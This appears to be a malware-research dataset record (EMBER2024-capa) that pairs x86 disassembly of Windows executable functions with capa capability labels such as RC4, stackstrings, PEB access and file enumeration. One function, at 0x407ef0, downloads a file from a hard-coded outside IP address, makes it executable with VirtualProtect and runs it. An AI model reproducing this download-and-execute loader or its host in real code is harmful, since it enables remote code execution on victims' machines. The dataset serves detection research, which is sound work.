joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c77c8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4c790d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x105
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x14]
mov edx, 0x4c7924
call fcn.0040480c
lea edx, [ebp - 4]
mov eax, dword [0x4d1ea4]
call fcn.004656b8
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, 0x4c7948
call fcn.00406610
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, 0x4c7958
call fcn.00406610
mov eax, dword [ebp - 0x14]
call fcn.00404c34
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
lea edx, [ebp - 0x124]
mov eax, dword [ebp - 0x14]
call fcn.00409958
mov eax, dword [ebp - 0x124]
call fcn.00404c34
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
lea edx, [ebp - 0x10]
mov eax, esi
call fcn.004c7dac
lea eax, [ebp - 0x128]
mov ecx, 0x4c7970
mov edx, dword [ebp - 0x10]
call fcn.00404a80
mov edx, dword [ebp - 0x128]
lea eax, [ebp - 0x18]
call fcn.00404ffc
push 0
mov eax, dword [ebp - 0x18]
call fcn.0040500c
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c7914
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00404798
lea eax, [ebp - 0x18]
call fcn.00404e80
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00404798
lea eax, [ebp - 0xc]
call fcn.004065cc
lea eax, [ebp - 8]
call fcn.004065cc
lea eax, [ebp - 4]
call fcn.004065cc
ret
Function at 0x4c7984
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4c7ac9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x105
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x14]
mov edx, 0x4c7ae0
call fcn.0040480c
lea edx, [ebp - 4]
mov eax, dword [0x4d1ea4]
call fcn.004656b8
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, 0x4c7b08
call fcn.00406610
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, 0x4c7b18
call fcn.00406610
mov eax, dword [ebp - 0x14]
call fcn.00404c34
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
lea edx, [ebp - 0x124]
mov eax, dword [ebp - 0x14]
call fcn.00409958
mov eax, dword [ebp - 0x124]
call fcn.00404c34
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
lea edx, [ebp - 0x10]
mov eax, esi
call fcn.004c7dac
lea eax, [ebp - 0x128]
mov ecx, 0x4c7b30
mov edx, dword [ebp - 0x10]
call fcn.00404a80
mov edx, dword [ebp - 0x128]
lea eax, [ebp - 0x18]
call fcn.00404ffc
push 0
mov eax, dword [ebp - 0x18]
call fcn.0040500c
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c7ad0
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00404798
lea eax, [ebp - 0x18]
call fcn.00404e80
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00404798
lea eax, [ebp - 0xc]
call fcn.004065cc
lea eax, [ebp - 8]
call fcn.004065cc
lea eax, [ebp - 4]
call fcn.004065cc
ret
Function at 0x4cad7c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x4cae56
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.0040495c
lea eax, [ebp - 8]
mov edx, 0x4cae6c
call fcn.00404a3c
mov eax, dword [ebp - 8]
call fcn.00404c34
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x4cadcb.0
jmp dword [eax*4 + 0x4cadd2]
mov eax, esi
mov edx, 0x4cae78
call fcn.004047c8
jmp 0x4cae40
mov eax, esi
mov edx, 0x4cae90
call fcn.004047c8
jmp 0x4cae40
mov eax, esi
mov edx, 0x4caea4
call fcn.004047c8
jmp 0x4cae40
mov eax, esi
mov edx, 0x4caeb8
call fcn.004047c8
jmp 0x4cae40
mov eax, esi
mov edx, 0x4caec8
call fcn.004047c8
jmp 0x4cae40
mov eax, esi
mov edx, 0x4caedc
call fcn.004047c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cae5d
lea eax, [ebp - 8]
call fcn.00404774
ret

Function at 0x4caeec
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x214], ebx
mov esi, ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x4caf94
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x214]
mov edx, ebx
call fcn.0040495c
lea eax, [ebp - 0x214]
mov edx, 0x4cafac
call fcn.00404a3c
mov eax, dword [ebp - 0x214]
call fcn.00404c34
mov dword [ebp - 0x10], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x110]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov eax, esi
lea edx, [ebp - 0x210]
mov ecx, pe_nt_image_headers32
call fcn.004049e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4caf9b
lea eax, [ebp - 0x214]
call fcn.00404774
ret
Function at 0x4cb358
Capabilities:
Get common file path

Disassembly:
add esp, 0xffffff00
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov al, byte [esp]
add esp, 0x100
ret
Function at 0x40d4b0
Capabilities:
Hash data with md5

Disassembly:
lea eax, [esp + 4]
lea ecx, [esp + 4]
sub eax, ecx
lea edx, [esp + 4]
sub esp, 0xc
cmp eax, edx
jne 0x40d511
push ebx
push esi
push edi
mov ecx, 0xa
mov eax, 3
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov ebx, 1
lea esi, [esp + 0xc]
cmp ebx, 0xa
jge 0x40d502
mov edi, 0xa
lea eax, [esi + 4]
sub edi, ebx
mov ecx, dword [esi]
mov edx, dword [eax]
cmp ecx, edx
jle 0x40d4fc
mov dword [eax], ecx
mov dword [esi], edx
add eax, 4
dec edi
jne 0x40d4f0
inc ebx
add esi, 4
lea eax, [ebx - 1]
cmp eax, 0xa
jl 0x40d4e1
pop edi
pop esi
pop ebx
mov eax, dword [esp + 0x10]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
add esp, 0xc
ret 4

Function at 0x40f6d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
lea edi, [ecx + 4]
mov dword [esp + 0x1c], ecx
mov dword [ecx], 0x4280b4
xor edx, edx
xor eax, eax
mov ecx, edi
mov byte [ecx], al
inc eax
inc ecx
cmp ax, 0x100
jl 0x40f6ea
mov byte [edi + 0x100], dl
mov byte [edi + 0x101], dl
mov byte [esp + 0x10], dl
xor esi, esi
mov ebx, edi
mov dword [esp + 0x14], 0x100
mov eax, dword [esp + 0x10]
mov ebp, dword [esp + 0x24]
mov cl, byte [ebx]
and eax, 0xff
xor edx, edx
mov dl, byte [eax + ebp]
mov ebp, ecx
and ebp, 0xff
add esi, edx
add ebp, esi
mov edx, ebp
and edx, 0x800000ff
jns 0x40f742
dec edx
or edx, 0xffffff00
inc edx
mov byte [esp + 0x18], dl
mov esi, dword [esp + 0x18]
and esi, 0xff
inc eax
mov dl, byte [esi + edi]
mov byte [ebx], dl
mov byte [esi + edi], cl
cdq
idiv dword [esp + 0x28]
mov eax, dword [esp + 0x14]
inc ebx
dec eax
mov dword [esp + 0x14], eax
mov byte [esp + 0x10], dl
jne 0x40f710
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
Function at 0x40f980
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x10
mov al, byte [ecx + 0x105]
mov dl, byte [ecx + 0x104]
mov byte [esp], al
mov eax, dword [esp + 0x18]
push edi
xor edi, edi
test eax, eax
mov byte [esp + 8], dl
jbe 0x40fa65
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
and eax, 0xff
and esi, 0xff
lea edx, [eax + 1]
and edx, 0x800000ff
jns 0x40f9cf
dec edx
or edx, 0xffffff00
inc edx
mov byte [esp + 0x14], dl
mov eax, dword [esp + 0x14]
and eax, 0xff
mov bl, byte [eax + ecx + 4]
mov byte [esp + 0x1c], bl
and ebx, 0xff
add ebx, esi
and ebx, 0x800000ff
jns 0x40f9fc
dec ebx
or ebx, 0xffffff00
inc ebx
mov byte [esp + 0x10], bl
mov bl, byte [esp + 0x1c]
mov esi, dword [esp + 0x10]
mov byte [esp + 0x18], bl
and esi, 0xff
mov ebp, dword [esp + 0x18]
and ebp, 0xff
mov bl, byte [esi + ecx + 4]
mov byte [eax + ecx + 4], bl
mov bl, byte [esp + 0x18]
mov byte [esi + ecx + 4], bl
xor ebx, ebx
mov bl, byte [eax + ecx + 4]
add ebx, ebp
and ebx, 0x800000ff
jns 0x40fa44
dec ebx
or ebx, 0xffffff00
inc ebx
mov ebp, dword [esp + 0x24]
and ebx, 0xff
mov bl, byte [ebx + ecx + 4]
xor byte [edi + ebp], bl
mov ebx, dword [esp + 0x28]
inc edi
cmp edi, ebx
jb 0x40f9bc
pop esi
pop ebp
pop ebx
mov byte [ecx + 0x104], dl
mov dl, byte [esp + 4]
mov byte [ecx + 0x105], dl
mov eax, 1
pop edi
add esp, 0x10
ret 8

Function at 0x4111aa
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x426573
call fcn.004255c4
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0041238f
xor edi, edi
mov dword [esi + 0x1c], 0xa
mov dword [ebp - 4], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0xc], edi
mov dword [esi + 8], edi
mov dword [esi + 0x18], edi
mov ebx, dword [ebp + 8]
mov byte [ebp - 4], 1
mov dword [esi], 0x4280cc
mov dword [esi + 0x30], ebx
call fcn.0041b58e
push edi
mov dword [esi + 4], eax
push dword [ebp + 0xc]
push ebx
push eax
call fcn.0041b5b5
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 0x24], eax
mov ecx, dword [0x42e1dc]
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp - 0xc]
add esp, 0x14
mov dword [eax + 4], esi
mov dword [esi + 0x20], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x41abc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
lea eax, [ebp - 8]
push ebx
push esi
push edi
test eax, eax
mov byte [ebp - 0x7c], 0x57
mov byte [ebp - 0x7b], 0x69
jne 0x41ac05
push 1
lea eax, [ebp - 0x18]
pop ebx
push 0xa
pop edx
cmp ebx, edx
jge 0x41abfc
lea ecx, [eax + 4]
sub edx, ebx
mov esi, dword [eax]
mov edi, dword [ecx]
cmp esi, edi
jle 0x41abf6
mov dword [ecx], esi
mov dword [eax], edi
add ecx, 4
dec edx
jne 0x41abea
inc ebx
add eax, 4
cmp ebx, 0xb
jl 0x41abde
lea eax, [ebp - 8]
lea ecx, [ebp - 8]
sub eax, ecx
lea ecx, [ebp - 8]
cmp eax, ecx
mov byte [ebp - 0x7a], 0x6e
mov byte [ebp - 0x79], 0x56
jne 0x41ac4a
xor esi, esi
xor eax, eax
xor edi, edi
mov cl, byte [eax]
test cl, cl
je 0x41ac4a
mov dl, byte [esi]
cmp dl, cl
jne 0x41ac3c
test dl, dl
je 0x41ac3c
mov dl, byte [esi + 1]
inc esi
inc eax
inc edi
cmp dl, byte [eax]
je 0x41ac2e
mov cl, byte [esi]
sub esi, edi
sub eax, edi
xor edi, edi
mov byte [ebp - 1], cl
inc eax
jmp 0x41ac22
lea eax, [ebp - 8]
lea ecx, [ebp - 8]
sub eax, ecx
lea ecx, [ebp - 8]
cmp eax, ecx
mov byte [ebp - 0x78], 0x4e
mov byte [ebp - 0x77], 0x43
mov byte [ebp - 0x76], 0x20
mov byte [ebp - 0x75], 0x54
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x61
mov byte [ebp - 0x72], 0x79
mov byte [ebp - 0x71], 0x20
mov byte [ebp - 0x70], 0x49
mov byte [ebp - 0x6f], 0x63
mov byte [ebp - 0x6e], 0x6f
jne 0x41acee
xor eax, eax
push 0x20
xor ecx, ecx
pop edx
mov eax, dword [eax]
add ecx, dword [eax]
add eax, 4
dec edx
jne 0x41ac8e
push 4
mov eax, 0x80
pop ebx
mov esi, ebx
mov ecx, dword [esi]
push 0x20
xor edx, edx
pop edi
add edx, dword [ecx]
add ecx, ebx
dec edi
jne 0x41aca7
add esi, ebx
cmp esi, eax
jl 0x41aca0
xor esi, esi
xor ecx, ecx
xor edx, edx
mov edi, dword [edx]
add edx, ebx
add ecx, dword [esi + edi]
cmp edx, eax
jl 0x41acba
add esi, ebx
cmp esi, eax
jl 0x41acb6
xor edx, edx
xor ecx, ecx
mov esi, dword [ecx]
add edx, dword [ecx + esi]
add ecx, ebx
cmp ecx, eax
jl 0x41accf
push 0x7c
xor ecx, ecx
xor edx, edx
pop esi
mov edi, dword [esi]
sub esi, ebx
add ecx, dword [edi + edx]
add edx, ebx
cmp edx, eax
jl 0x41ace1
and byte [ebp - 0x6c], 0
mov byte [ebp - 0x6d], 0x6e
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
mov eax, dword [0x42e190]
call dword [eax + 0x1b0]
cmp eax, esi
je 0x41ad28
push esi
push esi
push 0x10
push eax
mov eax, dword [0x42e190]
call dword [eax + 0x1ac]
mov eax, dword [0x42e190]
push 1
call dword [eax + 0x3c]
jmp 0x41acf8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405ee9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x405f0d
xor eax, eax
test eax, eax
je 0x405f1f
cmp byte [ebp + eax - 0x121], 0x5c
je 0x405f1f
xor ecx, ecx
jmp 0x405f22
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409010]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x405fc6
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c634], 0
push esi
jne 0x405ffd
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405fd7
mov dword [ecx*4 + 0x42c630], eax
inc ecx
cmp ecx, 0x100
jl 0x405fd2
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40602e
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c630]
xor eax, esi
inc ecx
dec edx
jne 0x406010
pop edi
not eax
pop esi
ret 0xc

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x407ef0
Capabilities:
Download url
Get file size
Read file on windows
Read file via mapping
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0
push 0
push str.C:ProgramDataupdate.ini
push str.http:__206.119.179.100:7000_update.ini
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov eax, dword [str.hijkl]
mov cx, word [0x44c204]
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocStringLen
push str.C:ProgramDataupdate.ini
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x10], ebx
call fcn.0041193e
add esp, 4
lea edx, [ebp - 0xc]
mov esi, eax
push 0
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push 0
push 0
push 6
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov edi, eax
mov edx, ecx
push 6
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 8], eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1c]
push ecx
push ebx
push eax
call fcn.00407eb0
mov eax, dword [ebp - 8]
add esp, 0x10
lea edx, [ebp - 4]
push edx
push 0x20
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, dword [ebp - 8]
call eax
popal
mov edx, dword [ebp - 4]
lea ecx, [ebp - 4]
push ecx
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 8]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x42e440
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00412c00
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x42e50b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x42e50b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x42e4be
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x42e4c9
or bh, 8
and edi, 0x8000000
je 0x42e4e4
mov eax, dword [0x45523c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x42e50b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e8e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x42e90b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x42e92f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x42e94a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x4329f8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x432a3a
call fcn.00438270
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x432a3a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x432a31
xor eax, eax
jmp 0x432a42
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00432a48
pop edi
pop esi
pop ebx
ret 4
Function at 0x408060
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47ac3b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046fb4e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4080e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046da60
mov eax, dword [eax]
push 0x560c58
push eax
call fcn.00460764
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046fdd9
test bl, bl
je 0x4080e2
push 0x560c58
lea ecx, [esp + 0xc]
call fcn.00470169
push 0x560c64
lea ecx, [esp + 0xc]
call fcn.00470169
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40811e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046fdd9
jmp 0x4081e9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4081a2
lea edx, [esp + 0x7c]
push 0x560c60
push edx
call fcn.00460764
add esp, 8
test eax, eax
je 0x4081a2
lea eax, [esp + 0x7c]
push 0x560c5c
push eax
call fcn.00460764
add esp, 8
test eax, eax
je 0x4081a2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408132
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046fdd9
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4089f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x408a52
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc